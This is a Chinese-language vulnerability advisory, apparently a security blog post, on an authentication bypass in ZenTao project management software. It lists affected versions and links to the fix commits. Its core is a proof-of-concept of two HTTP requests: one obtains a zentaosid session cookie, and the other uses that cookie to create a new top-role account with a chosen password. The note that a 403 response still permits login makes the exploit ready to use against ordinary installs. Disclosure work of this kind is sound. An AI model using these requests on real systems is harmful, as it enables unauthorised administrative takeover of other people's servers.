0x00 前言
禅道是由青岛易软天创网络科技有限公司开发的开源项目管理软件，基于敏捷和CMMI管理理念进行设计，集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，完整覆盖研发项目管理的核心流程。
0x01 漏洞描述
禅道项目管理系统存在身份认证绕过漏洞，远程攻击者利用该漏洞可以绕过身份认证，调用任意API接口并修改管理员用户的密码，并以管理员用户登录该系统。
0x02 CVE编号
无
0x03 影响版本
v16.x<=禅道< v18.12（开源版）
v6.x<=禅道< v8.12（企业版）
v3.x<=禅道< v4.12（旗舰版）
0x04 漏洞详情
POC：
获取zentaosid的值
代码语言：javascript复制GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
Host: you-ip
添加用户：
代码语言：javascript复制POST /zentao/api.php/v1/users HTTP/1.1
Cookie: zentaosid=xxxxxxxxxx
Host: you-ip
{"account": "zxczxc123", "password": "admin@123", "realname": "zxczxc123", "role": "top", "group": "1"}返回403也可以登陆。
0x05 参考链接
https://github.com/easysoft/zentaopms
https://github.com/easysoft/zentaopms/commit/d13ba70016ca981b08f27e08fb934bf1f23a4135
https://github.com/easysoft/zentaopms/commit/695055c6b1d2e6a8c944bdbc38308c06820c40ce
